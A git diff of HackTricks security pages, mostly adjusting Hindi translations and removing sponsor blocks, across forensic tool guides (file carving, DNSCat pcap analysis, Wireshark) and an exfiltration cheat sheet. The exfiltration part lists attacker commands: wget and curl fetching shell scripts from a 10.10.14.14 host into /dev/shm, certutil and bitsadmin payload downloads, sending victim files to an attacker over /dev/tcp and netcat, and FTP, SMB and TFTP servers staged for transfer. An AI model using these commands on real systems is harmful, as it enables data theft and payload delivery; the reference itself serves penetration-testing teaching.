करें: ```python import math math.sqrt(2500) #50 ``` +For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/). + ### **ब्रेल अनुवाद** -ब्रेल का अनुवाद करने के लिए, [ब्रानाह ब्रेल अनुवादक](https://www.branah.com/braille-translator) एक उत्कृष्ट स्रोत है। +For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource. ## **संदर्भ** * [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) * [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) -**ट्राई हार्ड सिक्योरिटी ग्रुप** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -AWS हैकिंग सीखें और प्रैक्टिस करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP हैकिंग सीखें और प्रैक्टिस करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-हैकट्रिक्स का समर्थन करें +Support HackTricks -* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें! -* **💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। -* **हैकिंग ट्रिक्स साझा करें, [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके। +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 59ff4de50..f0a4396ea 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Carving & Recovery tools More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) @@ -35,7 +27,7 @@ More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github **Binwalk** एक उपकरण है जो बाइनरी फ़ाइलों का विश्लेषण करने के लिए अंतर्निहित सामग्री खोजने के लिए है। इसे `apt` के माध्यम से इंस्टॉल किया जा सकता है और इसका स्रोत [GitHub](https://github.com/ReFirmLabs/binwalk) पर है। -**उपयोगी कमांड**: +**Useful commands**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file @@ -44,7 +36,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file ``` ### Foremost -एक और सामान्य उपकरण जो छिपी हुई फ़ाइलों को खोजने के लिए है वह है **foremost**। आप foremost की कॉन्फ़िगरेशन फ़ाइल `/etc/foremost.conf` में पा सकते हैं। यदि आप केवल कुछ विशिष्ट फ़ाइलों के लिए खोज करना चाहते हैं, तो उन्हें अनकमेंट करें। यदि आप कुछ भी अनकमेंट नहीं करते हैं, तो foremost अपनी डिफ़ॉल्ट कॉन्फ़िगर की गई फ़ाइल प्रकारों के लिए खोज करेगा। +छिपी हुई फ़ाइलों को खोजने के लिए एक और सामान्य उपकरण **foremost** है। आप foremost की कॉन्फ़िगरेशन फ़ाइल `/etc/foremost.conf` में पा सकते हैं। यदि आप केवल कुछ विशिष्ट फ़ाइलों के लिए खोज करना चाहते हैं, तो उन्हें अनकमेंट करें। यदि आप कुछ भी अनकमेंट नहीं करते हैं, तो foremost अपनी डिफ़ॉल्ट कॉन्फ़िगर की गई फ़ाइल प्रकारों के लिए खोज करेगा। ```bash sudo apt-get install foremost foremost -v -i file.img -o output @@ -65,7 +57,7 @@ scalpel file.img -o output ``` bulk_extractor memory.img -o out_folder ``` -Navigate through **सभी जानकारी** that the tool has gathered (passwords?), **विश्लेषण करें** the **पैकेट** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **अजीब डोमेन** (domains related to **malware** or **non-existent**). +Navigate through **सभी जानकारी** that the tool has gathered (passwords?), **विश्लेषण करें** the **पैकेट** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **अजीब डोमेन** (domains related to **malware** or **गैर-मौजूद**). ### PhotoRec @@ -77,7 +69,7 @@ It comes with GUI and CLI versions. You can select the **फाइल-प्र ### binvis -Check the [कोड](https://code.google.com/archive/p/binvis/) and the [वेब पेज टूल](https://binvis.io/#/). +Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/). #### Features of BinVis @@ -105,12 +97,6 @@ Download [यहाँ](https://sourceforge.net/projects/findaes/). You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\ You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -119,7 +105,7 @@ Learn & practice GCP Hacking: Support HackTricks -* Check the [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop)! +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 637d00595..a5f50161a 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -15,27 +15,19 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Carving & Recovery tools More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ### Autopsy -फोरेंसिक्स में छवियों से फ़ाइलें निकालने के लिए सबसे सामान्य उपकरण [**Autopsy**](https://www.autopsy.com/download/) है। इसे डाउनलोड करें, इंस्टॉल करें और "छिपी हुई" फ़ाइलें खोजने के लिए फ़ाइल को इनजेस्ट करें। ध्यान दें कि Autopsy डिस्क छवियों और अन्य प्रकार की छवियों का समर्थन करने के लिए बनाया गया है, लेकिन साधारण फ़ाइलों के लिए नहीं। +फोरेंसिक्स में छवियों से फ़ाइलें निकालने के लिए सबसे सामान्य उपकरण [**Autopsy**](https://www.autopsy.com/download/) है। इसे डाउनलोड करें, इंस्टॉल करें और "छिपी" फ़ाइलें खोजने के लिए इसे फ़ाइल को इनजेस्ट करने दें। ध्यान दें कि Autopsy डिस्क छवियों और अन्य प्रकार की छवियों का समर्थन करने के लिए बनाया गया है, लेकिन साधारण फ़ाइलों के लिए नहीं। ### Binwalk **Binwalk** एक उपकरण है जो बाइनरी फ़ाइलों का विश्लेषण करने के लिए अंतर्निहित सामग्री खोजने के लिए है। इसे `apt` के माध्यम से इंस्टॉल किया जा सकता है और इसका स्रोत [GitHub](https://github.com/ReFirmLabs/binwalk) पर है। -**उपयोगी कमांड**: +**Useful commands**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file @@ -44,7 +36,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file ``` ### Foremost -एक और सामान्य उपकरण जो छिपी हुई फ़ाइलों को खोजने के लिए है वह है **foremost**। आप foremost की कॉन्फ़िगरेशन फ़ाइल `/etc/foremost.conf` में पा सकते हैं। यदि आप केवल कुछ विशिष्ट फ़ाइलों के लिए खोज करना चाहते हैं, तो उन्हें अनकमेंट करें। यदि आप कुछ भी अनकमेंट नहीं करते हैं, तो foremost अपनी डिफ़ॉल्ट कॉन्फ़िगर की गई फ़ाइल प्रकारों के लिए खोज करेगा। +छिपी हुई फ़ाइलों को खोजने के लिए एक और सामान्य उपकरण **foremost** है। आप foremost की कॉन्फ़िगरेशन फ़ाइल `/etc/foremost.conf` में पा सकते हैं। यदि आप केवल कुछ विशिष्ट फ़ाइलों के लिए खोज करना चाहते हैं, तो उन्हें अनकमेंट करें। यदि आप कुछ भी अनकमेंट नहीं करते हैं, तो foremost अपनी डिफ़ॉल्ट कॉन्फ़िगर की गई फ़ाइल प्रकारों के लिए खोज करेगा। ```bash sudo apt-get install foremost foremost -v -i file.img -o output @@ -77,14 +69,14 @@ It comes with GUI and CLI versions. You can select the **फाइल-प्र ### binvis -Check the [कोड](https://code.google.com/archive/p/binvis/) and the [वेब पेज टूल](https://binvis.io/#/). +Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/). #### Features of BinVis * Visual and active **संरचना दर्शक** * Multiple plots for different focus points * Focusing on portions of a sample -* **देखना स्ट्रिंग्स और संसाधन**, in PE or ELF executables e. g. +* **स्ट्रिंग्स और संसाधनों** को देखना, in PE or ELF executables e. g. * Getting **पैटर्न** for cryptanalysis on files * **स्पॉटिंग** packer or encoder algorithms * **पहचानें** Steganography by patterns @@ -105,12 +97,6 @@ Download [यहाँ](https://sourceforge.net/projects/findaes/). You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\ You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -119,7 +105,7 @@ Learn & practice GCP Hacking: Support HackTricks -* Check the [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop)! +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md index 6783bbfc6..eb2994d24 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md @@ -1,8 +1,8 @@ # DNSCat pcap विश्लेषण {% hint style="success" %} -सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -10,28 +10,16 @@ * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! * **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PR सबमिट करें। +* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
{% endhint %} -#### [WhiteIntel](https://whiteintel.io) -
-[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या किसी कंपनी या उसके ग्राहकों को **stealer malwares** द्वारा **समझौता** किया गया है। +यदि आपके पास **DNSCat द्वारा डेटा का exfiltrated** (एन्क्रिप्शन का उपयोग किए बिना) के साथ pcap है, तो आप exfiltrated सामग्री पा सकते हैं। -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मैलवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जा सकते हैं और उनके इंजन का **फ्री** में प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** - -यदि आपके पास DNSCat द्वारा **exfiltrated** डेटा के साथ pcap है (बिना एन्क्रिप्शन का उपयोग किए), तो आप exfiltrated सामग्री पा सकते हैं। - -आपको केवल यह जानने की आवश्यकता है कि **पहले 9 बाइट्स** वास्तविक डेटा नहीं हैं बल्कि **C\&C संचार** से संबंधित हैं: +आपको केवल यह जानने की आवश्यकता है कि **पहले 9 बाइट्स** असली डेटा नहीं हैं बल्कि **C\&C संचार** से संबंधित हैं: ```python from scapy.all import rdpcap, DNSQR, DNSRR import struct diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index bbbe943f4..a7d2eab60 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -15,19 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या इसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है जो जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप होते हैं। - -आप उनकी वेबसाइट पर जा सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** ## Improve your Wireshark skills @@ -44,13 +31,13 @@ WhiteIntel का प्राथमिक लक्ष्य खाता अ **Expert Information** -_**Analyze** --> **Expert Information**_ पर क्लिक करने से आपको पैकेटों में क्या हो रहा है इसका **अवलोकन** मिलेगा **विश्लेषित**: +_**Analyze** --> **Expert Information**_ पर क्लिक करने से आपको पैकेट्स में हो रही गतिविधियों का **अवलोकन** मिलेगा **विश्लेषित**: ![](<../../../.gitbook/assets/image (256).png>) **Resolved Addresses** -_**Statistics --> Resolved Addresses**_ के तहत आप कई **जानकारी** पा सकते हैं जो wireshark द्वारा "**हल**" की गई है जैसे पोर्ट/परिवहन से प्रोटोकॉल, MAC से निर्माता, आदि। यह जानना दिलचस्प है कि संचार में क्या शामिल है। +_**Statistics --> Resolved Addresses**_ के तहत आप कई **जानकारी** पा सकते हैं जो wireshark द्वारा "**resolved**" की गई है जैसे पोर्ट/परिवहन से प्रोटोकॉल, MAC से निर्माता, आदि। यह जानना दिलचस्प है कि संचार में क्या शामिल है। ![](<../../../.gitbook/assets/image (893).png>) @@ -86,7 +73,7 @@ _**Statistics --> I/O Graph**_ के तहत आप संचार का ** ### Filters -यहाँ आप प्रोटोकॉल के आधार पर wireshark फ़िल्टर पा सकते हैं: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ +यहां आप प्रोटोकॉल के आधार पर wireshark फ़िल्टर पा सकते हैं: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ अन्य दिलचस्प फ़िल्टर: * `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)` @@ -98,7 +85,7 @@ _**Statistics --> I/O Graph**_ के तहत आप संचार का ** ### Search -यदि आप सत्रों के **पैकेटों** के अंदर **सामग्री** के लिए **खोज** करना चाहते हैं तो _CTRL+f_ दबाएँ। आप मुख्य जानकारी बार (No., Time, Source, आदि) में नए स्तर जोड़ सकते हैं दाएँ बटन दबाकर और फिर कॉलम संपादित करके। +यदि आप सत्रों के **पैकेट्स** के अंदर **सामग्री** के लिए **खोज** करना चाहते हैं तो _CTRL+f_ दबाएं। आप मुख्य जानकारी बार (No., Time, Source, आदि) में नए लेयर जोड़ सकते हैं, दाएं बटन को दबाकर और फिर कॉलम संपादित करके। ### Free pcap labs @@ -134,11 +121,11 @@ _edit>preference>protocol>ssl>_ ![](<../../../.gitbook/assets/image (1103).png>) -_संपादित_ पर क्लिक करें और सर्वर और निजी कुंजी (_IP, Port, Protocol, Key file और password_) का सभी डेटा जोड़ें। +_संपादित करें_ और सर्वर और निजी कुंजी (_IP, Port, Protocol, Key file और password_) का सभी डेटा जोड़ें। ### Decrypting https traffic with symmetric session keys -Firefox और Chrome दोनों में TLS सत्र कुंजी लॉग करने की क्षमता होती है, जिसका उपयोग Wireshark के साथ TLS ट्रैफ़िक को डिक्रिप्ट करने के लिए किया जा सकता है। यह सुरक्षित संचार का गहन विश्लेषण करने की अनुमति देता है। इस डिक्रिप्शन को कैसे करना है, इस पर अधिक जानकारी [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/) में एक गाइड में पाई जा सकती है। +Firefox और Chrome दोनों में TLS सत्र कुंजी लॉग करने की क्षमता होती है, जिसका उपयोग Wireshark के साथ TLS ट्रैफ़िक को डिक्रिप्ट करने के लिए किया जा सकता है। यह सुरक्षित संचार का गहन विश्लेषण करने की अनुमति देता है। इस डिक्रिप्शन को कैसे करना है, इस पर अधिक जानकारी [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/) में एक गाइड में मिल सकती है। इसका पता लगाने के लिए वातावरण के अंदर `SSLKEYLOGFILE` वेरिएबल के लिए खोजें। @@ -152,7 +139,7 @@ Firefox और Chrome दोनों में TLS सत्र कुंजी ## ADB communication -ADB संचार से एक APK निकालें जहाँ APK भेजा गया था: +ADB संचार से एक APK निकालें जहां APK भेजा गया था: ```python from scapy.all import * @@ -179,29 +166,17 @@ f = open('all_bytes.data', 'w+b') f.write(all_bytes) f.close() ``` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** से प्रेरित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **स्टीलर मैलवेयर** द्वारा **समझौता** किए गए हैं। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मैलवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricks का समर्थन करें -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PRs सबमिट करें।
{% endhint %} diff --git a/generic-methodologies-and-resources/exfiltration.md b/generic-methodologies-and-resources/exfiltration.md index 3f16c7fda..0e198babf 100644 --- a/generic-methodologies-and-resources/exfiltration.md +++ b/generic-methodologies-and-resources/exfiltration.md @@ -1,40 +1,32 @@ # Exfiltration {% hint style="success" %} -सीखें और प्रैक्टिस करें AWS हैकिंग:[**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -सीखें और प्रैक्टिस करें GCP हैकिंग: [**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-हैकट्रिक्स का समर्थन करें +Support HackTricks -* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें! -* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। -* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में। +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -**Try Hard सिक्योरिटी ग्रुप** +## सामान्य रूप से व्हाइटलिस्टेड डोमेन जानकारी निकालने के लिए -
+जानकारी निकालने के लिए सामान्य रूप से व्हाइटलिस्टेड डोमेन खोजने के लिए [https://lots-project.com/](https://lots-project.com/) देखें -{% embed url="https://discord.gg/tryhardsecurity" %} +## Copy\&Paste Base64 -*** - -## सामान्यत: व्हाइटलिस्टेड डोमेन्स जिनसे सूचना निकाली जा सकती है - -[https://lots-project.com/](https://lots-project.com/) पर जांच करें कि कौन से सामान्यत: व्हाइटलिस्टेड डोमेन्स का दुरुपयोग किया जा सकता है - -## कॉपी\&पेस्ट बेस64 - -**लिनक्स** +**Linux** ```bash base64 -w0 #Encode file base64 -d file #Decode file ``` -**विंडोज** +**विंडोज़** ``` certutil -encode payload.dll payload.b64 certutil -decode payload.b64 payload.dll @@ -48,7 +40,7 @@ wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py fetch 10.10.14.14:8000/shell.py #FreeBSD ``` -**Windows** +**विंडोज़** ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf @@ -123,7 +115,7 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ``` ## FTP -### FTP सर्वर (पायथन) +### FTP सर्वर (python) ```bash pip3 install pyftpdlib python3 -m pyftpdlib -p 21 @@ -133,7 +125,7 @@ python3 -m pyftpdlib -p 21 sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` -### FTP सर्वर (प्योर-एफटीपी) +### FTP सर्वर (pure-ftp) ```bash apt-get update && apt-get install pure-ftp ``` @@ -151,7 +143,7 @@ mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ``` -### **Windows** ग्राहक +### **Windows** क्लाइंट ```bash #Work well with python. With pure-ftp use fusr:ftp echo open 10.11.0.41 21 > ftp.txt @@ -164,14 +156,14 @@ ftp -n -v -s:ftp.txt ``` ## SMB -काली को सर्वर के रूप में +Kali सर्वर के रूप में ```bash kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` -या samba का उपयोग करके एक smb साझा बनाएं: +या smb शेयर **samba का उपयोग करके** बनाएं: ```bash apt-get install samba mkdir /tmp/smb @@ -186,7 +178,7 @@ guest ok = Yes #Start samba service smbd restart ``` -Windows के लिए एक्सफिल्ट्रेशन +Windows ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials @@ -196,13 +188,13 @@ WindPS-2> cd new_disk: ``` ## SCP -हमलावर को SSHd चल रहा होना चाहिए। +हमलावर के पास SSHd चलाना आवश्यक है। ```bash scp @:/ ``` ## SSHFS -यदि पीड़ित के पास SSH है, तो हमलावर पीड़ित से हमलावर तक एक निर्देशिका माउंट कर सकता है। +यदि पीड़ित के पास SSH है, तो हमलावर पीड़ित से एक निर्देशिका को हमलावर पर माउंट कर सकता है। ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs @@ -215,12 +207,12 @@ nc -vn 4444 < exfil_file ``` ## /dev/tcp -### पीड़ित से फ़ाइल डाउनलोड +### पीड़ित से फ़ाइल डाउनलोड करें ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` -### विक्टिम को फ़ाइल अपलोड करें +### पीड़ित को फ़ाइल अपलोड करें ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker # Inside victim @@ -249,33 +241,33 @@ sniff(iface="tun0", prn=process_packet) ``` ## **SMTP** -यदि आप एक SMTP सर्वर को डेटा भेज सकते हैं, तो आप पायथन के साथ डेटा प्राप्त करने के लिए एक SMTP बना सकते हैं: +यदि आप डेटा को SMTP सर्वर पर भेज सकते हैं, तो आप डेटा प्राप्त करने के लिए पायथन के साथ एक SMTP बना सकते हैं: ```bash sudo python -m smtpd -n -c DebuggingServer :25 ``` ## TFTP -डिफ़ॉल्ट रूप से XP और 2003 में (अन्य में इंस्टॉलेशन के दौरान विशेष रूप से जोड़ना चाहिए) +डिफ़ॉल्ट रूप से XP और 2003 में (अन्य में इसे स्थापना के दौरान स्पष्ट रूप से जोड़ा जाना चाहिए) -काली में, **TFTP सर्वर शुरू करें**: +Kali में, **TFTP सर्वर शुरू करें**: ```bash #I didn't get this options working and I prefer the python option mkdir /tftp atftpd --daemon --port 69 /tftp cp /path/tp/nc.exe /tftp ``` -**पायथन में TFTP सर्वर:** +**TFTP सर्वर पायथन में:** ```bash pip install ptftpd ptftpd -p 69 tap0 . # ptftp -p ``` -**विक्टिम** में, Kali सर्वर से कनेक्ट करें: +In **victim**, Kali सर्वर से कनेक्ट करें: ```bash tftp -i get nc.exe ``` ## PHP -PHP वनलाइनर के साथ एक फ़ाइल डाउनलोड करें: +एक PHP oneliner के साथ एक फ़ाइल डाउनलोड करें: ```bash echo "" > down2.php ``` @@ -315,35 +307,33 @@ 